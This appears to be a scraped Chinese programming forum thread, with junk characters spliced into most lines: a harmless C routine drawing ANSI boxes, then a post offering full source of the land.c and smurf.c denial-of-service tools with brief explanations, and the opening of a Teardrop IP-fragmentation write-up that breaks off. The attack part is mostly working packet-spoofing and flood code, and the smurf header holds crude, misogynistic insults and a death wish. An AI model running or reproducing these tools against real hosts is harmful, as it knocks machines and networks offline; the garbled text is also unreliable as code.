<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>1 v7 E6 L$ b, X/ N
<FONT color=#009900>/*3 O4 a; E% A5 G: E
*
2 g7 V, M- b# P% h" C* Short driver module
3 p- g7 X$ `3 m*
: q. G8 k3 w0 e5 Q& F8 e$ R*/</FONT></P><><FONT color=#009900>main()
) l+ |5 d* ?' c4 L4 X) B9 F{8 l4 s  D* R( m3 F! H. e% f9 s# w
clrscr();8 h; v& Q1 g- [) N
box(1,1,23,79);
/ C0 W: {6 Q. S. Jbox(2,2,21,77);9 [3 Q4 J( D% w5 i
box(3,3,19,75);8 s0 ], [; v6 m$ }1 H
box(4,4,17,73);: {1 C  W5 w% F, n0 ^# B" s4 T
box(5,5,15,71);
( Z* F/ |2 D6 _  Gbox(6,6,13,69);
$ M( g8 x% @7 }' x- tbox(7,7,11,67);
- s7 P1 t3 d8 K* F: q8 pbox(8,8,9,65);0 n9 f) N2 }5 R2 v/ ?( U; C; _$ {! h
box(9,9,7,63);: {  b, T: {' g# Y! M& e
box(10,10,5,61);
4 y2 {' g/ j0 D1 i5 J5 l* U9 y5 obox(11,11,3,59);
. H2 ?- `1 }( q' x5 }3 bbox(12,12,1,57);1 a$ Y/ d& r3 t, f7 W
poscur(24,1);
3 v. Z- g% M& E% N! G8 R}</FONT></P><><FONT color=#009900>/************************************************************
9 b! i: k4 a$ z8 q( |3 `6 U* BOX *
( O! W1 i2 N8 X5 a. a+ g! {*----------------------------------------------------------*+ ?6 J- P' _& {8 G$ U
* Written by: Jeff Ebert 7/01/87 *
+ d! ^$ b; A" Q- ^* H5 [* Modified by: xxxxxxxxxx *' e5 b5 x, \& m) O6 {
* *( C8 F; S. I5 R" d' J( V
* Please modify me! *
8 P0 J; _6 ~5 @3 u2 U3 @( @# g* Possible Enhancements include but are not limited t *! o9 U  I2 l$ t7 I
* 1) Variable box character styles [1 line or 2] *
* [" Q5 i  `; p  y% G2 {: X3 W. |/ s7 r9 i* 2) Error checking *
/ v. f' M8 q5 D. x! ?7 Q1 m  j8 d5 |* 3) Color options *
8 }6 j! W% N: }2 d6 Y* *
6 j1 x4 S' a6 u* *, ]3 v3 A, T& [
* This function builds a simple double frame for a menu. *
! J- q: C5 L1 A6 ^$ ]4 o$ v* The function is passed the parameters for the upper *2 B! ~! ]$ b, U6 ]. K
* left corner row, upper left corner column the height *0 }2 f0 ^  @6 Z: n* z1 u  B8 J+ E
* of the frame and the width. *3 d) Q& T5 g3 o7 M; R' p7 W
* *" V1 P/ Z$ C  l2 O/ ^, H
************************************************************/
+ a! a$ x' s' Q! g& a#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201/ p" {: @' R$ S: Y$ e) d2 n
#define URCOR 187
2 Z0 m+ I/ `- q; {* i+ N; b#define LLCOR 200
9 Z+ @$ I9 a. Q6 P' }: c4 ~#define LRCOR 188; p: R' M6 i/ g4 \- @7 i
#define VBAR 186
7 n$ v- m6 ]# U& x& P( [2 C5 g#define HBAR 205
3 I( P1 k. e9 m0 ^2 K: g( M#define ESC 27</FONT></P><><FONT color=#009900>. V9 _! ]9 r/ f% m9 \& K
box(row, col, hgt, wdth)
! H4 t5 u# K0 w0 ^2 x; e- _0 vint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
9 y. B% r3 [+ d, V7 \; sint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);( `$ S9 g$ b! v* q2 J7 E6 X4 }
putchar(ULCOR);8 a& }, {/ K$ y$ `* O
for(x = col + 1; x &lt;=(col + wdth -1); x++); k2 t) }) U' ~5 y% W! S
putchar(HBAR);7 m: E7 m- m3 s" z% k
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){5 F% t( h( G- w" W3 k' c: Z
poscur(x,col);
1 Z, k3 D+ ~2 h0 C4 a7 i6 Z' Wputchar(VBAR);3 A& U7 P# n% N
poscur(x,col+wdth);% v6 h4 H# Z$ }0 {
putchar(VBAR);
9 B# a% {0 Q6 C/ B" s}4 ]5 B( h" p5 D
poscur(x,col);- [# g; |' p4 S, x8 X  ^
putchar(LLCOR);
+ ~8 P' C1 g4 A: [& h6 M2 B. {for(x= col + 1; x &lt;=(col + wdth -1); x++)1 ^0 N& X/ _& ~4 d" j2 @
putchar(HBAR);1 o# A8 u# N( c1 ~( q; L8 W3 \6 M
putchar(LRCOR);
& y$ Z0 R+ k/ i& f( M: Z2 ]1 t& D}</FONT></P><><FONT color=#009900>/********************************************************( G4 {9 m* y" A; k. J- `  ]3 t
* POSCUR *  N+ T& i; D1 H" T
*------------------------------------------------------*) V8 z8 X# ]% A% p* y0 x
* This function positions the cursor at the specified *
" v- e4 \$ c4 L% n( H  D8 z6 o* x,y coordinate. It uses the ANSI standard ESCAPE *6 G, {$ L7 U7 Q" l0 t$ m1 i
* sequence to produce the desired effect. Its not the *
4 {  j# X$ h3 y4 {* fastest way to position the cursor, but perhaps the *0 R0 h) z( C; z& T/ A; D- ^/ b
* most portable. *
$ P! D0 E0 B: X4 M) c4 v- a* *
# T" I7 `. i& c* f********************************************************/
: ?, N) p& z. ^1 Q. {6 fposcur(xcor,ycor)
! F' V8 Y( ^# @' h- ]int xcor,ycor;% O9 _& l; o1 Z; k% O$ X
{ 9 e1 E/ m, f- Z* ]5 w
printf("%c[%d;%dH",ESC,xcor,ycor);
# N- Q4 A( K6 ?}</FONT></P><><FONT color=#009900>. n4 o& }, R9 j  i
/********************************************************
) j7 t, b& A! D7 W, [* CLRSCR *, a6 m. {; J- L) e% E
*------------------------------------------------------*
/ U9 W- y' D% E1 j$ k! a5 P* This function positions the cursor at the specified *
. B; A* P$ K$ A* c7 v/ u* x,y coordinate. It uses the ANSI standard ESCAPE *
$ h2 O% L2 y8 `. r* d7 e  C  F* sequence to produce the desired effect. Its not the *. e, @" x2 @0 h0 W! D1 Z
* fastest way to position the cursor, but perhaps the *
* d2 B9 e" [" V3 p* most portable. *
( M. X% Z. B! j" ~. B+ M* *, _3 [% |3 [# F
********************************************************/
9 M- X" |4 ^" V) E/ jclrscr()
5 o8 b- \2 g, h! J: _+ R9 J+ _0 \{ 3 o3 k% S6 `1 E% z; F0 I, q
printf("%c[2J",ESC);
# a2 T5 d. `8 i! l: p}</FONT>
" a: T, Y* E& t8 A</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract+ z" l9 S" v. ]8 o' L
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
# s$ n  k" e4 k  A" J/ Y己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>4 ~$ f3 Q. D0 M
<FONT color=#009900>/* land.c by m3lt, FLC
! U1 L6 T* g4 v; d4 Q* }crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>3 w& m7 T$ R# [8 c' G0 P
#include <NETDB.H>
6 q, Q' T% Z% l' V) A' U  N#include <ARPA inet.h>( X. W5 @( S+ B! W& u. G+ v5 v4 _
#include <NETINET in.h>
' K1 x/ h) E& l# v; f#include <SYS types.h>' a* y5 u# ]- @8 w' i! m
#include <SYS socket.h>
8 e0 W, M9 q. V6 ]% O) h#include <NETINET ip.h>, O- U* u/ D* ^) K
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头8 S, p5 r' u8 m  ?  `1 T  t
struct pseudohdr
5 {8 a& Z# m. a& W# s{
3 j6 x, ~2 x. f5 [' }. E/ Qstruct in_addr saddr;1 D# S9 a1 ?# c( A' I: m$ e
struct in_addr daddr;! b" _: p, ^6 _
u_char zero;5 \" z& l0 t% Y+ T" b1 [
u_char protocol;- j2 p# J  P) \7 K
u_short length;
1 b/ |2 ~. u/ {. C, h: l/ H& estruct tcphdr tcpheader;
/ a. |  f- w" Q; b3 L7 b};</FONT></P><><FONT color=#009900>//计算IP校验和$ X' _, G! U  s2 \2 r
u_short checksum(u_short * data,u_short length)* c% b7 r- p) B  j& k! I" }+ d* W+ ?1 v
{
( g( p- j7 ^5 N8 q5 M" A/ Nregister long value;5 n3 l7 a2 g- V( `" f0 ~
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)4 t; E& J# u# d  l0 c
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
  n' B9 _9 h; ~" pvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
* w8 [3 `1 W$ q! E" c; o2 J9 Y}</FONT></P><><FONT color=#009900>
- U& [8 E% G6 ~9 d6 mint main(int argc,char * * argv)# Q/ \. O; V+ J! q
{1 X. x- R. J  S6 {& m& j* m: L/ D! R
struct sockaddr_in sin;
2 u. L# o8 k$ q/ v9 w  ostruct hostent * hoste;7 m, F& M: x5 W
int sock;
, l" J9 m! j! X% Jchar buffer[40];
1 E) ]. ~' u+ P* n- R) [struct iphdr * ipheader=(struct iphdr *) buffer;
- H, Z: e# B: o3 t3 G8 R9 astruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
/ S) x( G( A- vstruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)" o* j" ?/ @# B$ Y' q
{- g7 q" Z* q9 B3 T. Z0 }
fprintf(stderr,"usage: %s IP port\n",argv[0]);/ e& ^! x% x2 X. c$ D+ N, d3 M
return(-1);
6 V, Q+ Y4 m3 {2 O}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
9 }: D1 l, o( e4 usin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL), o1 Y3 X0 B; S" n+ g2 r1 m
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);( F: e  |# r6 O; p% i& v" ?7 }
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
$ m+ I5 ]$ q8 C4 [3 o8 Y{
8 l1 i8 r% w7 q# t4 d+ ~  Ifprintf(stderr,"unknown host %s\n",argv[1]);
( e8 j) N! O% Y* }$ p: }- lreturn(-1);3 X/ Q" D& L0 @! v
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
) W' d. o1 d9 B" f: u! m{
/ e. [7 B) z( q7 pfprintf(stderr,"unknown port %s\n",argv[2]);
4 V6 \3 [7 O( t& H( ~$ }% Q7 Treturn(-1);+ d/ R9 F% s( {# D) Z
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限9 o: e& a7 g; w( b( Y
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
3 T9 l7 ~5 P3 b) m' f{: c- o' {* h, n/ I! Y; y0 ~. L
fprintf(stderr,"couldn't allocate raw socket\n");8 X$ S0 @7 {5 P0 K# Q4 z
return(-1);
& E7 i  O- P  A$ D& R}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));7 b- A0 z# y2 S% d
ipheader-&gt;version=4;
; w: v8 _4 Z5 b8 p) {- cipheader-&gt;ihl=sizeof(struct iphdr)/4;  S; d1 @% }. z6 q" d. R
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
+ U4 R% u. B! J9 K# x( q' Tipheader-&gt;id=htons(0xF1C);# b0 s; y" x( q" `6 ^" w& @& U0 ^: ?
ipheader-&gt;ttl=255;
( e/ p9 A1 i6 w0 M- }5 pipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同' }5 @8 V$ M3 z
ipheader-&gt;saddr=sin.sin_addr.s_addr;
  K$ ?7 u% x# d( r' t5 h3 nipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同/ l5 \& k0 ?0 s$ a
tcpheader-&gt;th_sport=sin.sin_port;
5 Y: }+ I" w5 \* v4 Wtcpheader-&gt;th_dport=sin.sin_port;
8 e3 g! p2 R, i8 E, Z+ Ytcpheader-&gt;th_seq=htonl(0xF1C);2 ~4 P: a. C  D' x/ i1 i. w
tcpheader-&gt;th_flags=TH_SYN;# G9 a1 W" q9 W- q& |- p0 F
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
$ W0 N. W- Q3 F3 q& \5 [tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));, N! {1 U! R" ]: _# |( K3 q
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;  R6 }& m: d& I' w, Z- _. Z6 _
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
2 I1 m! i# _8 cpseudoheader.protocol=6;0 o# D5 J4 J* J! K1 [7 \! o
pseudoheader.length=htons(sizeof(struct tcphdr));! ^. b) u6 e9 K' G! h" ?
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));4 J/ d" u  B3 @( N, c' [2 k. B
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),  j$ w% p" j5 d. y0 y
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
6 w+ H' M- ?5 B" }/ _{' x( I# H: F2 J" {/ d& p; G
fprintf(stderr,"couldn't send packet\n");5 \" A! m1 @0 ?6 r1 T; P
return(-1);
! u( d  A1 ^4 U" G# N}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
( c1 P$ ~  t0 n6 @return(0);7 i; N0 P; P. P1 w' f7 |4 a
}</FONT></P><>8 v, ?: \) E0 y1 s5 q
2 Smurf
7 E, q; P0 i( Q/ Usmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数3 r+ \5 v  j& F2 U/ A/ V  V
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
: u. ~# a* W4 m$ t  K  c9 O的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
- p, [2 @+ ]) Bicmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢' X5 h7 C2 c  H! S. A3 {* k
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变) G8 A! F! N4 o+ N+ F! D, Q3 |* t8 }
成不可能(没有WINS服务器时)。</P><P>/*
' p$ U2 f* ]  E) h*
2 `2 h) P+ O# V. q! f- L2 _* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $: L& z9 Y# B$ V. _
*
* m' r0 W! n# K+ c* spoofs icmp packets from a host to various broadcast addresses resulting
9 R+ M, p8 }# M- M" @; D( q7 O" R* in multiple replies to that host from a single packet.
# z5 J3 s7 o& x3 Q# \& [*. d4 M6 E) Y) z' X) g$ @
* mad head t
+ L1 [; g) A2 F9 F1 Z1 R2 q* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,) ?4 f  d$ q0 Q; n8 t
* MissSatan for swallowing, napster for pimping my sister, the guy that5 m0 D# r- z7 P6 L& _) b$ o1 G4 @
* invented vaseline, fyber for trying, knowy, old school #havok, kain
8 \/ B" d4 n' h5 Q* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might* K4 y+ _- Z# T
* have missed (you know who you are).
. Q8 r: Y: ~) n8 B, c' \*
& J! A& E, a  R0 i4 M4 u8 S+ l* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy5 W8 e0 n. G3 K* e7 R* q
* thing he is (he's -almost- as stubborn as me, still i managed to pick up
6 s- m. N0 @: }: H5 S5 x* half the cheque).
* c4 ^/ g  S" U  i*
. X/ G% ~: S  Q5 Z2 f* and a special hi to Todd, face it dude, you're fucking awesome.0 E' @+ h3 P6 G
*
2 T% ?. k% [  [' I- P9 c. X  U) k4 b* mad anal t
6 E+ q8 E. ^! N: E4 ?* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
3 Z* _. G4 o  C- _" S# N* because they plain suck, Rolex for being a twit, everyone that4 C  n9 S+ }5 x9 `
* trades warez, Caren for being a lesbian hoe, AcidKill for being her; {* X' G( o6 T5 x/ R; ?* C1 `$ Y
* partner, #cha0s, sedriss for having an ego in inverse proportion to
- t6 x. \. f& H* {* his penis and anyone that can't pee standing up -- you don't know what( p' }" O' r7 `* k7 \/ R; {
* your missing out on.
7 y2 Y2 s/ f  z*
: u3 h9 I( \6 O$ p* and anyone thats ripped my code (diff smurf.c axcast.c is rather
! O1 c  z! K/ D$ o* interesting).8 p4 E4 Q9 n5 Q( l
*
+ h, I) _( e5 ]4 }( ^* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill" s) @- p0 s3 L8 W: H2 z
* Robbins for trying to steal my girlfriend. Not only did you show me6 U0 p5 R1 R8 z& D
* no respect but you're a manipulating prick who tried to take away the6 g& Q1 x+ A) c7 F% f" C6 C
* most important thing in the world to me with no guilt whatsoever, and  q  F% {  R/ v8 g8 g1 ]
* for that I wish you nothing but pain. Die.
% M# \' Y$ k  A. _" k*1 Q( W5 @# w1 f* i
* disclaimer:4 V/ u) O1 k/ O4 ]5 L2 n
* I cannot and will not be held responsible nor legally bound for the
" h- `, s2 C) A1 p* malicious activities of individuals who come into possession of this, N) T2 S3 |+ j  P0 J
* program and I refuse to provide help or support of any kind and do NOT
  u* {' W. x+ y  f( S; ]* condone use of this program to deny service to anyone or any machine.
# k* u) y; _1 U' f5 H7 q* This is for educational use only. Please Don't abuse this.( G8 I$ o1 R  K3 L/ r
*
( z: Y! O0 T& y% M: m  ^* Well, i really, really, hate this code, but yet here I am creating another
" j# [  K5 z8 ?" T: M1 X% G* disgusting version of it. Odd, indeed. So why did I write it? Well, I,# D% R) h1 f4 q6 d( b' M8 H2 H" K$ b
* like most programmers don't like seeing bugs in their code. I saw a few
* }: w9 _9 E# X* things that should have been done better or needed fixing so I fixed* D# d+ Z2 i% c0 v+ l8 f
* them. -shrug-, programming for me as always seemed to take the pain away! b7 p0 L$ x9 C% e4 ?
* ...
% R+ n! q' x9 v1 K. w6 W: L6 l*4 K+ @; y, l8 s0 o- y' p
*
0 Y& h  K! C* Y5 e% q' s4 m*/</P><P>#include <SIGNAL.H>; K1 X( m. X, J# a" F% `  [- k( [
#include <STDIO.H>3 o; N! ?4 w3 t* {
#include <STDLIB.H>; Y1 Q" y7 j2 y# x0 H$ n9 [
#include <SYS socket.h>. X3 b6 A3 D- i" ]% F$ V
#include <SYS types.h>9 E' X. O$ m: [1 @/ O0 L& |! ~
#include <NETINET in.h>' \: y& V2 P& j' R4 D" M
#include <NETINET ip.h>
) ]  |5 l. [: r* J- |#include <NETINET ip_icmp.h>
$ L4 i8 r% c# P7 j2 m6 ]#include <NETDB.H>
, k6 s! k) V8 z  `2 ]# S$ a# `#include <CTYPE.H>! h2 S  O, b' g9 w
#include <ARPA inet.h># D4 {2 y. F& R2 \6 ^2 ~
#include <UNISTD.H>3 F/ X6 b! Z6 `; z6 g
#include <STRING.H></P><P>void banner(void);
0 X, u# Q, l2 c! @) \3 g- ivoid usage(char *);
: c1 l& K' ?4 J3 E+ Fvoid smurf(int, struct sockaddr_in, u_long, int);
. |/ w: a! L7 d1 }void ctrlc(int);/ @* E: B  S6 e9 j" x) t
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */5 Z5 D, k7 J0 I0 A$ G( \
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
3 S6 H. w' B/ Y7 ?{0 O6 H2 u# k8 v8 ]4 c  D
struct sockaddr_in sin;% V4 y% ?6 R8 s6 S$ i9 r+ X
struct hostent *he;# O4 k2 M7 @* H* C0 G  H& o( j) P8 q
FILE *bcastfile;# c8 z0 T; ^4 x* F; E2 }! y
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
/ o, z: t6 M# N- o& x. p) Schar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
, T& h5 R* R' a5 ]5 W; C+ Isignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
) R/ U7 Q' v; N0 M% Zperror("resolving source host");( x) y8 v) t" G- n7 a: F
exit(-1);0 I0 r7 Y6 a0 B4 o0 o& |' ]7 V% G
}* G7 h" g, R  u2 c5 P
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
7 u9 G, J. ?  d8 t  F3 nsin.sin_family = AF_INET;
# E* a+ L% _% Q$ I5 L4 ysin.sin_port = htons(0);</P><P>num = atoi(argv[3]);# w9 c0 @# x7 D1 W' b  V& d
delay = atoi(argv[4]);/ Y( x8 [/ Z, O
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {9 }4 U1 L3 i$ c7 P
perror("opening bcast file");3 E7 ~/ P! ~% |6 Z) W1 D
exit(-1);
3 z# _% K# e9 d' ?: a# Z! j8 _2 P3 \}
' \) E: {% I, V  h, x! [4 G! Vx = 0;* Z: E* G# l+ x8 B
while (!feof(bcastfile)) {
$ s" b; z/ g$ p  K4 `& I9 G4 h4 A- Kfgets(buf, 32, bcastfile);
( d" |$ T) O3 @& f$ l# X' J+ Wif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
5 @, i$ w# Z. O* E1 x3 r% D/ Yfor (i = 0; i &lt; strlen(buf); i++)* u' O- c% D; P' ^
if (buf == '\n') buf = '\0';
; J& h2 m" X7 C7 s" f' j; L( ]1 hbcastaddr[x] = malloc(32);
, V) {, O2 j) q" b  K7 xstrcpy(bcastaddr[x], buf);, L3 \7 U: |: C
x++;
  c# p% ~1 Y) Y}
" F; j$ w1 O- v, rbcastaddr[x] = 0x0;
" a+ `( t" W* dfclose(bcastfile);</P><P>if (x == 0) {
2 K& S) v1 L8 ?/ ?fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
- t7 K2 d% \' n4 B8 E* Wexit(-1);
  R$ s, V7 Z" x% _}
" h  x, T2 T4 V- E; Fif (pktsize &gt; 1024) {
7 L1 m5 f- O3 \( F( Ffprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
6 f: D0 n  T: R9 ~+ g. P0 a* mexit(-1);
' Q! x( u: Z$ z: z}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
& m; n0 v1 l1 vperror("getting socket");! l7 w# q6 I1 w! v% l4 O8 b
exit(-1);7 D3 i& @# I7 M' N  j
}
$ n. b: A" e2 p- r- {  Dsetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
+ a0 L/ D" f% f7 Q* v( _. `if (!(i % 25)) { printf("."); fflush(stdout); }
' n% `, f6 D! D9 k/ P3 ~/ ]smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);1 k3 Q$ G3 a1 c. x! N8 W5 D
cycle++;. r0 T4 J, s1 b% |5 Y' d- x' \' ?
if (bcastaddr[cycle] == 0x0) cycle = 0;& a( f1 ]& {3 s+ y1 t- R8 c$ K0 Z
usleep(delay);
8 g" s2 b: F0 T}6 [8 t! k* {9 A% {! l5 p  L
puts("\n\n");
. S! r5 M, c2 o- Areturn 0;
/ n; |1 E" I) U, Q. T; z}</P><P>void banner (void)
7 B) t' Z8 d0 e{8 N3 o6 @2 \: j1 k' ?1 Y' o; [" d8 Z
puts("\nsmurf.c v4.0 by TFreak\n");
& }" `: j3 k  |9 P' T8 z4 c}</P><P>void usage (char *prog)0 h% a4 i; y: b* T
{8 x' P( }# b  X) u8 l7 y# V3 s
fprintf(stderr, "usage: %s <TARGET><BCAST file>"! }* E1 F# K. k
"<NUM packets> <PACKET delay><PACKET size>\n\n"
+ Y$ h6 m/ ~/ Z"target = address to hit\n"
3 k# V& b- K9 `9 }"bcast file = file to read broadcast addresses from\n"
" T- T1 N7 u% }7 o; j2 d  m) P( I( T"num packets = number of packets to send (0 = flood)\n"% x* S9 }/ M4 k7 W# X
"packet delay = wait between each packet (in ms)\n"1 a) Q2 ^/ g0 y; E1 l7 A
"packet size = size of packet (&lt; 1024)\n\n", prog);* c1 A: c- I) B2 m
exit(-1);" p- h( D$ p) T2 V" f3 u3 k$ C# V
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)5 P2 m. ^4 @6 E# \, ]0 }, F+ J2 s
{7 \, B# k) _6 v  ^/ l0 w7 q2 J
struct iphdr *ip;  W3 a- P& d( L8 ^0 n
struct icmphdr *icmp;
4 R7 M; t" t: I/ x8 xchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);8 I% h: ]& P$ y8 y* t! o
ip = (struct iphdr *)packet;. V9 w* `6 ]! l$ ^; a) f  M/ q
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);; `5 M/ L% S8 M3 V- {" {
ip-&gt;ihl = 5;" r9 f3 I# g9 O- ^
ip-&gt;version = 4;
. u' ]2 v- q9 v( N- @ip-&gt;ttl = 255;
& \4 m, g& t( e7 J/ L" L/ Lip-&gt;tos = 0;6 ?0 w- E% s+ u+ O% p- Y
ip-&gt;frag_off = 0;
1 R3 v3 O# b5 lip-&gt;protocol = IPPROTO_ICMP;& F6 Z. o/ I/ I
ip-&gt;saddr = sin.sin_addr.s_addr;
) `1 U6 c& c* P7 a! B" z  ?& R! v1 oip-&gt;daddr = dest;! A4 @5 n" t) {" [. K( Q
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
5 ?1 R2 {2 v: Q7 l0 jicmp-&gt;type = 8;
% o! \6 @6 X7 uicmp-&gt;code = 0;
9 A2 t1 C& q! ricmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,( m6 b, X4 o( D8 F; F" d! n+ }; b
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
( c1 K/ o4 p& x# b3 d5 Q}</P><P>void ctrlc (int ignored)
3 N* G3 W2 q% B" Z{: o/ R8 z9 H) ]+ J" L; o
puts("\nDone!\n");% G3 E. \/ {. a# s: ]' O
exit(1);6 s8 D2 t1 n' {+ K
}</P><P>unsigned short in_chksum (u_short *addr, int len)! l* T9 R# E! K' j: R" h
{3 R0 q8 N9 W' z3 L( k
register int nleft = len;1 T& c6 n4 s& D3 P
register int sum = 0;, \$ Q; B0 A! ?. j4 j" Y+ S
u_short answer = 0;</P><P>while (nleft &gt; 1) {
! K$ U' _8 |3 `& bsum += *addr++;
0 q4 _: F& i& r7 Q" T5 xnleft -= 2;
0 s# {  l- T8 T# I, T}</P><P>if (nleft == 1) {
5 Y+ i( R5 y* C0 U7 c0 s*(u_char *)(&amp;answer) = *(u_char *)addr;4 c# Q0 S  P+ n7 H3 n" h' G
sum += answer;8 P# C5 i- a& w$ G) B
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);; n/ r5 n# {  ~" d. y0 i
sum += (sum &gt;&gt; 16);% w1 e# D- D" s( V; x; l
answer = ~sum;0 [4 P  j4 L! ?4 \% [9 x
return(answer);
8 G  W5 s; x7 F! w5 n2 l3 f}</P><P>; e: ^( G; ^7 i* \
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
: p. p$ S* M; q' zfp = qp-&gt;fragments;' k4 x! R) q$ @/ r$ f* w
while(fp != NULL)
$ r/ ^8 \' {+ D; p* [. D{
" ^9 {8 ^3 K8 wif(count+fp-&gt;len &gt; skb-&gt;len)
" l# C2 \  E- Q' n3 z8 r9 D- g{  k. c% J$ k8 G  j; q" l  K+ @
error_to_big;
  k4 V! S$ P: n}
; u# S7 p# S% H0 w, U, o, Qmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
( f0 l. ~) u( Z9 K: vcount += fp-&gt;len;
' z6 {  t5 e8 u) jfp = fp-&gt;next;
0 J3 {/ p7 M! f9 s' A8 G}, f3 l/ _2 Y2 Y* z- N* g
这里只检查了长度过大的情况,而没有考虑长度过小的情况,
* H- I  l* a6 o8 @: K- U如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:. p. U4 D  R6 T2 }% [
